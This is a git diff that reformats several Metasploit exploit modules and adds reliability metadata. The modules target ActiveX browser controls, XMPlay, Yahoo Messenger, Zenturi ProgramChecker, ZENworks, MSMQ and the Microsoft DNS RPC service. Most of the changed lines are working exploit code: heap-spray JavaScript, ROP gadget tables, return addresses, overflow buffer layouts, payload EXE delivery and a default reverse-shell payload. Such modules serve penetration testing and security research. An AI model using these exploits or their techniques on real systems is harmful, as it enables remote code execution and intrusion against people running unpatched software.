initialize(info = {}) [ 'URL', 'http://web.archive.org/web/20101228043011/http://secunia.com:80/advisories/42693' ], [ 'URL', 'http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6430f853-1120-48db-8cc5-f2abdc3ed314' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Payload' => - { - 'Space' => 512, - 'BadChars' => "\x00", - 'DisableNops' => true + 'Payload' => { + 'Space' => 512, + 'BadChars' => "\x00", + 'DisableNops' => true }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], - [ 'Windows Universal', { 'SprayTarget' => 0x105ae020 } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {} ], + [ 'Windows Universal', { 'SprayTarget' => 0x105ae020 } ], [ 'Debug Target (Crash)', { 'SprayTarget' => 0x70707070 } ] # must be < 0x80000000 ], - 'DisclosureDate' => '2010-12-21', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2010-12-21', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -90,7 +94,6 @@ def auto_target(cli, request) end def on_request_uri(cli, request) - mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) @@ -104,8 +107,8 @@ def on_request_uri(cli, request) print_status("Sending redirect (target: #{mytarget.name})...") redir = get_resource() - redir << '/' if redir[-1,1] != '/' - redir << rand_text_alphanumeric(4+rand(4)) + redir << '/' if redir[-1, 1] != '/' + redir << rand_text_alphanumeric(4 + rand(4)) redir << '.html' send_redirect(cli, redir) @@ -121,8 +124,8 @@ def on_request_uri(cli, request) rop_stack = generate_rop(buf_addr, rvas) fix_esp = rva2addr(rvas, 'pop ebp / ret') - pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8') - pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret') + pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8') + pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret') pivot_str = Rex::Text.to_unescape([pivot1].pack('V')) @@ -143,9 +146,9 @@ def on_request_uri(cli, request) special_sauce = Rex::Text.to_unescape(special_sauce) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) - nops = Rex::Text.to_unescape(make_nops(4)) - js_function = rand_text_alpha(rand(32)+1) - vname = rand_text_alpha(rand(32) + 1) + nops = Rex::Text.to_unescape(make_nops(4)) + js_function = rand_text_alpha(rand(32) + 1) + vname = rand_text_alpha(rand(32) + 1) clsid = "2745E5F5-D234-11D0-847A-00C04FD7BB08" progid = "WBEM.SingleViewCtrl.1" @@ -158,38 +161,38 @@ def on_request_uri(cli, request) method_name = method_names[rand(method_names.length)] # Construct the heap spray javascript - custom_js = <<-EOS -function #{js_function}() { -heap = new heapLib.ie(0x20000); -var heapspray = unescape("#{special_sauce}"); -while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); -var heapblock = heapspray; -while(heapblock.length < 0x40000) heapblock += heapblock; -finalspray = heapblock.substring(2, 0x40000 - 0x21); -for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } -#{vname}.#{method_name}(#{"0x%x" % buf_addr}); -} -EOS + custom_js = <<~EOS + function #{js_function}() { + heap = new heapLib.ie(0x20000); + var heapspray = unescape("#{special_sauce}"); + while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); + var heapblock = heapspray; + while(heapblock.length < 0x40000) heapblock += heapblock; + finalspray = heapblock.substring(2, 0x40000 - 0x21); + for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } + #{vname}.#{method_name}(#{"0x%x" % buf_addr}); + } + EOS js = heaplib(custom_js) dll_uri = get_resource() - dll_uri << '/' if dll_uri[-1,1] != '/' + dll_uri << '/' if dll_uri[-1, 1] != '/' dll_uri << "generic-" + Time.now.to_i.to_s + ".dll" # Construct the final page - content = <<-EOS - - - - - - - - - -EOS + content = <<~EOS + + + + + + + + + + EOS # Transmit the response to the client send_response_html(cli, content) @@ -204,11 +207,11 @@ def on_request_uri(cli, request) # Send a .NET v2.0 DLL down send_response(cli, dll, - { - 'Content-Type' => 'application/x-msdownload', - 'Connection' => 'close', - 'Pragma' => 'no-cache' - }) + { + 'Content-Type' => 'application/x-msdownload', + 'Connection' => 'close', + 'Pragma' => 'no-cache' + }) end # Handle the payload @@ -221,13 +224,13 @@ def rvas_mscorie_v2() { 'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b, - 'pop ebp / ret' => 0x5557, + 'pop ebp / ret' => 0x5557, 'call [ecx] / pop ebp / ret 0xc' => 0x1ec4, - 'pop eax / ret' => 0x5ba1, - 'pop ebx / ret' => 0x54c0, - 'pop ecx / ret' => 0x1e13, - 'pop esi / ret' => 0x1d9a, - 'pop edi / ret' => 0x2212, + 'pop eax / ret' => 0x5ba1, + 'pop ebx / ret' => 0x54c0, + 'pop ecx / ret' => 0x1e13, + 'pop esi / ret' => 0x1d9a, + 'pop edi / ret' => 0x2212, 'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6, 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154, } @@ -237,8 +240,8 @@ def generate_rop(buf_addr, rvas) # ROP fun! (XP SP3 English, Dec 15 2010) rvas.merge!({ # Instructions / Name => RVA - 'BaseAddress' => 0x63f00000, - 'imp_VirtualAlloc' => 0x10f4 + 'BaseAddress' => 0x63f00000, + 'imp_VirtualAlloc' => 0x10f4 }) rop_stack = [ diff --git a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb index 7cabe992569ed..5bb8577aed272 100644 --- a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb +++ b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb @@ -8,40 +8,37 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer - def initialize(info={}) - super(update_info(info, - 'Name' => "X360 VideoPlayer ActiveX Control Buffer Overflow", - 'Description' => %q{ - This module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the - X360 Software. By setting an overly long value to 'ConvertFile()', an attacker can overrun - a .data buffer to bypass ASLR/DEP and finally execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Rh0', # vulnerability discovery and exploit, all the hard work + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "X360 VideoPlayer ActiveX Control Buffer Overflow", + 'Description' => %q{ + This module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the + X360 Software. By setting an overly long value to 'ConvertFile()', an attacker can overrun + a .data buffer to bypass ASLR/DEP and finally execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Rh0', # vulnerability discovery and exploit, all the hard work 'juan vazquez' # msf module ], - 'References' => - [ + 'References' => [ ['EDB', '35948'], ['URL', 'https://rh0dev.github.io/blog/2015/fun-with-info-leaks/'] ], - 'Payload' => - { - 'Space' => 1024, - 'DisableNops' => true, + 'Payload' => { + 'Space' => 1024, + 'DisableNops' => true, 'PrependEncoder' => stack_adjust }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'BrowserRequirements' => - { - :source => /script|headers/i, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'BrowserRequirements' => { + :source => /script|headers/i, :activex => [ { clsid: '{4B3476C6-185A-4D19-BB09-718B565FA67B}', @@ -50,15 +47,21 @@ def initialize(info={}) ], :os_name => OperatingSystems::Match::WINDOWS, :ua_name => Msf::HttpClients::IE, - :ua_ver => '10.0' + :ua_ver => '10.0' }, - 'Targets' => - [ + 'Targets' => [ [ 'Automatic', {} ] ], - 'Privileged' => false, - 'DisclosureDate' => '2015-01-30', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2015-01-30', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def stack_adjust @@ -76,23 +79,23 @@ def on_request_exploit(cli, request, target_info) case request.uri when /exploit.js/ print_status("Sending exploit.js...") - headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} + headers = { 'Pragma' => 'no-cache', 'Content-Type' => 'application/javascript' } send_exploit_html(cli, exploit_template(cli, target_info), headers) when /sprayer.js/ print_status("Sending sprayer.js...") - headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} + headers = { 'Pragma' => 'no-cache', 'Content-Type' => 'application/javascript' } send_exploit_html(cli, sprayer_template(cli, target_info), headers) when /informer.js/ print_status("Sending informer.js...") - headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} + headers = { 'Pragma' => 'no-cache', 'Content-Type' => 'application/javascript' } send_exploit_html(cli, informer_template(cli, target_info), headers) when /rop_builder.js/ print_status("Sending rop_builder.js...") - headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} + headers = { 'Pragma' => 'no-cache', 'Content-Type' => 'application/javascript' } send_exploit_html(cli, rop_builder_template(cli, target_info), headers) else print_status("Sending main.html...") - headers = {'Pragma' => 'no-cache', 'Content-Type'=>'text/html'} + headers = { 'Pragma' => 'no-cache', 'Content-Type' => 'text/html' } send_exploit_html(cli, main_template(cli, target_info), headers) end end diff --git a/modules/exploits/windows/browser/xmplay_asx.rb b/modules/exploits/windows/browser/xmplay_asx.rb index 24dbc6d18482f..ae1bcbd9837d4 100644 --- a/modules/exploits/windows/browser/xmplay_asx.rb +++ b/modules/exploits/windows/browser/xmplay_asx.rb @@ -9,57 +9,62 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in XMPlay 3.3.0.4. - The vulnerability is caused due to a boundary error within - the parsing of playlists containing an overly long file name. - This module uses the ASX file format. - }, - 'License' => MSF_LICENSE, - 'Author' => 'MC', - 'References' => - [ + The vulnerability is caused due to a boundary error within + the parsing of playlists containing an overly long file name. + This module uses the ASX file format. + }, + 'License' => MSF_LICENSE, + 'Author' => 'MC', + 'References' => [ [ 'CVE', '2006-6063'], [ 'OSVDB', '30537'], [ 'BID', '21206'], [ 'URL', 'http://web.archive.org/web/20070502134818/http://secunia.com:80/advisories/22999' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'AllowWin32SEH' => true }, - 'Payload' => - { - 'Space' => 750, + 'Payload' => { + 'Space' => 750, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows 2000 Pro English SP4', { 'Ret' => 0x77e14c29 } ], - [ 'Windows XP Pro SP2 English', { 'Ret' => 0x77dc15c0 } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Windows 2000 Pro English SP4', { 'Ret' => 0x77e14c29 } ], + [ 'Windows XP Pro SP2 English', { 'Ret' => 0x77dc15c0 } ], ], - 'Privileged' => false, - 'DisclosureDate' => '2006-11-21', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2006-11-21', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) - drv = rand_text_alpha_upper(1) - ext = rand_text_alpha_upper(3) + drv = rand_text_alpha_upper(1) + ext = rand_text_alpha_upper(3) - sploit = rand_text_alpha_upper(498) + [ target.ret ].pack('V') + sploit = rand_text_alpha_upper(498) + [ target.ret ].pack('V') sploit << make_nops(40) + payload.encoded # Build the stream format - content = "\r\n" + "\r\n" + content = "\r\n" + "\r\n" content << "\r\n" + "\r\n" diff --git a/modules/exploits/windows/browser/yahoomessenger_fvcom.rb b/modules/exploits/windows/browser/yahoomessenger_fvcom.rb index 15a2ecd936e67..8768f9a16ac76 100644 --- a/modules/exploits/windows/browser/yahoomessenger_fvcom.rb +++ b/modules/exploits/windows/browser/yahoomessenger_fvcom.rb @@ -9,48 +9,53 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX - Control (YVerInfo.dll <= 2006.8.24.1). By sending an overly long string - to the "fvCom()" method from a yahoo.com domain, an attacker may be able - to execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + Control (YVerInfo.dll <= 2006.8.24.1). By sending an overly long string + to the "fvCom()" method from a yahoo.com domain, an attacker may be able + to execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2007-4515' ], [ 'OSVDB', '37739' ], [ 'BID', '25494' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 800, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 800, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8 } ], # Tested on fully patched XPSP2 9/29/07 + 'Platform' => 'win', + 'Targets' => [ + [ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8 } ], # Tested on fully patched XPSP2 9/29/07 ], - 'DisclosureDate' => '2007-08-30', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-08-30', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter - false + false end def check_dependencies - use_zlib + use_zlib end def on_request_uri(cli, request) @@ -62,7 +67,7 @@ def on_request_uri(cli, request) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer - sploit = rand_text_english(411) + [target.ret].pack('V') + sploit = rand_text_english(411) + [target.ret].pack('V') sploit << p.encoded + rand_text_english(payload.encoded.length) # Build out the message diff --git a/modules/exploits/windows/browser/yahoomessenger_server.rb b/modules/exploits/windows/browser/yahoomessenger_server.rb index d7feab9033e7a..675d3dcd686f4 100644 --- a/modules/exploits/windows/browser/yahoomessenger_server.rb +++ b/modules/exploits/windows/browser/yahoomessenger_server.rb @@ -9,41 +9,46 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX - Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249. - By sending an overly long string to the "Server()" method, and then calling - the "Send()" method, an attacker may be able to execute arbitrary code. - Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp" - yield for the best results. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249. + By sending an overly long string to the "Server()" method, and then calling + the "Send()" method, an attacker may be able to execute arbitrary code. + Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp" + yield for the best results. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2007-3147' ], [ 'OSVDB', '37082' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 800, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 800, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ], - [ 'Windows 2000 Pro English All', { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ] + 'Platform' => 'win', + 'Targets' => [ + [ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ], + [ 'Windows 2000 Pro English All', { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ] ], - 'DisclosureDate' => '2007-06-05', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-06-05', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def on_request_uri(cli, request) @@ -55,7 +60,7 @@ def on_request_uri(cli, request) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer - sploit = rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded + sploit = rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500) diff --git a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb index ae1753a2d2483..a71f5b4dea472 100644 --- a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb +++ b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb @@ -10,37 +10,44 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Zenturi ProgramChecker ActiveX Control Arbitrary File Download', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Zenturi ProgramChecker ActiveX Control Arbitrary File Download', + 'Description' => %q{ This module allows remote attackers to place arbitrary files on a users file system - via the Zenturi ProgramChecker sasatl.dll (1.5.0.531) ActiveX Control. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + via the Zenturi ProgramChecker sasatl.dll (1.5.0.531) ActiveX Control. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2007-2987' ], [ 'OSVDB', '36715' ], [ 'BID', '24217' ], ], - 'Payload' => - { - 'Space' => 2048, + 'Payload' => { + 'Space' => 2048, 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {} ], ], - 'DisclosureDate' => '2007-05-29', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-05-29', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']), - ]) + ] + ) end def autofilter @@ -52,21 +59,21 @@ def check_dependencies end def on_request_uri(cli, request) - - payload_url = "http://" + payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload" if (request.uri.match(/payload/)) return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_exe({ :code => p.encoded }) print_status("Sending payload EXE") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end - vname = rand_text_alpha(rand(100) + 1) - exe = rand_text_alpha(rand(20) + 1) + vname = rand_text_alpha(rand(100) + 1) + exe = rand_text_alpha(rand(20) + 1) content = %Q| @@ -82,6 +89,5 @@ def on_request_uri(cli, request) send_response_html(cli, content) handler(cli) - end end diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb index 8b3759fec1bbe..8f087428be11b 100644 --- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb +++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb @@ -53,6 +53,11 @@ def initialize(info = {}) stdapi_fs_delete_file ] } + }, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) diff --git a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb index c99ece9f224a5..5b5298480177d 100644 --- a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb @@ -10,54 +10,60 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Seh def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS05-017 Microsoft Message Queueing Service Path Overflow', - 'Description' => %q{ - This module exploits a stack buffer overflow in the RPC interface - to the Microsoft Message Queueing service. The offset to the - return address changes based on the length of the system - hostname, so this must be provided via the 'HNAME' option. - Much thanks to snort.org and Jean-Baptiste Marchand's - excellent MSRPC website. - - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'MS05-017 Microsoft Message Queueing Service Path Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in the RPC interface + to the Microsoft Message Queueing service. The offset to the + return address changes based on the length of the system + hostname, so this must be provided via the 'HNAME' option. + Much thanks to snort.org and Jean-Baptiste Marchand's + excellent MSRPC website. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2005-0059'], [ 'OSVDB', '15458'], [ 'MSB', 'MS05-017'], [ 'BID', '13112'], ], - 'Privileged' => true, - 'Payload' => - { - 'Space' => 1024, + 'Privileged' => true, + 'Payload' => { + 'Space' => 1024, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff", 'StackAdjustment' => -3500, }, - 'Platform' => %w{ win }, - 'Targets' => - [ + 'Platform' => %w{win}, + 'Targets' => [ [ 'Windows 2000 ALL / Windows XP SP0-SP1 (English)', { 'Platform' => 'win', - 'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe + 'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe }, ], ], - 'DisclosureDate' => '2005-04-12', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2005-04-12', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) # Change the default port values to point at MSMQ register_options( [ Opt::RPORT(2103), - OptString.new('HNAME', [ true, "The NetBIOS hostname of the target" ]), - ]) + OptString.new('HNAME', [ true, "The NetBIOS hostname of the target" ]), + ] + ) end def autofilter @@ -66,7 +72,7 @@ def autofilter # back to 2103 for automated exploitation rport = datastore['RPORT'].to_i - if ( rport == 445 or rport == 139 ) + if (rport == 445 or rport == 139) datastore['RPORT'] = 2103 end @@ -80,7 +86,6 @@ def autofilter end def exploit - # MSMQ supports three forms of queue names, the two we can use are # the IP address and the hostname. If we use the IP address via the # TCP: format, the offset to the SEH frame will change depending on @@ -93,7 +98,7 @@ def exploit queue_hlen = datastore['HNAME'].length * 2 queue_path = unicode(queue_name + "\\PRIVATE$\\") - buf = rand_text_english(4000, payload_badchars) + buf = rand_text_english(4000, payload_badchars) # Windows 2000 SEH offset goes first buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V') @@ -132,13 +137,13 @@ def exploit if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) case dcerpc.last_response.stub_data - when "\x20\x00\x0e\xc0" - print_status("The server rejected our request, the HNAME parameter could be incorrect") - when "\x1e\x00\x0e\xc0" - print_status("The server does not appear to be exploitable") - else - print_status("An unknown response was received from the server:") - print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0]) + when "\x20\x00\x0e\xc0" + print_status("The server rejected our request, the HNAME parameter could be incorrect") + when "\x1e\x00\x0e\xc0" + print_status("The server does not appear to be exploitable") + else + print_status("An unknown response was received from the server:") + print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0]) end end diff --git a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb index 0032c7f879c3e..11b6cf96b73b0 100644 --- a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb +++ b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb @@ -9,37 +9,35 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::DCERPC def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)', + 'Description' => %q{ This module exploits a stack buffer overflow in the RPC interface - of the Microsoft DNS service. The vulnerability is triggered - when a long zone name parameter is supplied that contains - escaped octal strings. This module is capable of bypassing NX/DEP - protection on Windows 2003 SP1/SP2. - }, - 'Author' => - [ - 'hdm', # initial module + of the Microsoft DNS service. The vulnerability is triggered + when a long zone name parameter is supplied that contains + escaped octal strings. This module is capable of bypassing NX/DEP + protection on Windows 2003 SP1/SP2. + }, + 'Author' => [ + 'hdm', # initial module 'Unknown', # 2 unknown contributors (2003 support) 'bcoles' # additional target offsets ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2007-1748'], ['OSVDB', '34100'], ['MSB', 'MS07-029'] ], - 'Privileged' => true, - 'DefaultOptions' => - { + 'Privileged' => true, + 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD' => 'windows/shell/reverse_tcp' }, - 'Payload' => - { - 'Space' => 500, + 'Payload' => { + 'Space' => 500, # The payload doesn't matter, but make_nops() uses these too 'BadChars' => "\x00", @@ -47,10 +45,9 @@ def initialize(info = {}) 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic (2000 SP0-SP4, 2003 SP0-SP2)', { } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic (2000 SP0-SP4, 2003 SP0-SP2)', {} ], # p/p/r WS2HELP.DLL [ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ], @@ -80,19 +77,25 @@ def initialize(info = {}) [ 'Windows 2003 Server SP1-SP2 Russian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769a0000 } ], [ 'Windows 2003 Server SP1-SP2 Simplified Chinese', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769c0000 } ], ], - 'DisclosureDate' => '2007-04-12', - 'DefaultTarget' => 0 )) + 'DisclosureDate' => '2007-04-12', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ Opt::RPORT(0), - OptString.new('Locale', [ true, "Locale for automatic target (English, French, Italian, ...)", 'English']) - ]) + OptString.new('Locale', [ true, "Locale for automatic target (English, French, Italian, ...)", 'English']) + ] + ) end - def gettarget(os) - targets.each do |target| if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/)) return target @@ -102,10 +105,7 @@ def gettarget(os) return nil end - def exploit - - # Ask the endpoint mapper to locate the port for us dport = datastore['RPORT'].to_i @@ -126,7 +126,6 @@ def exploit print_status("Discovered Microsoft DNS Server RPC service on port #{dport}") end - mytarget = nil if (target.name =~ /Automatic/) @@ -157,8 +156,6 @@ def exploit mytarget = target end - - # Connect to the high RPC port connect(true, { 'RPORT' => dport }) print_status("Trying target #{mytarget.name}...") @@ -176,25 +173,25 @@ def exploit txt[0, payload.encoded.length] = payload.encoded off = mytarget['Off'] - txt[ off ] = [mytarget.ret].pack('V') - 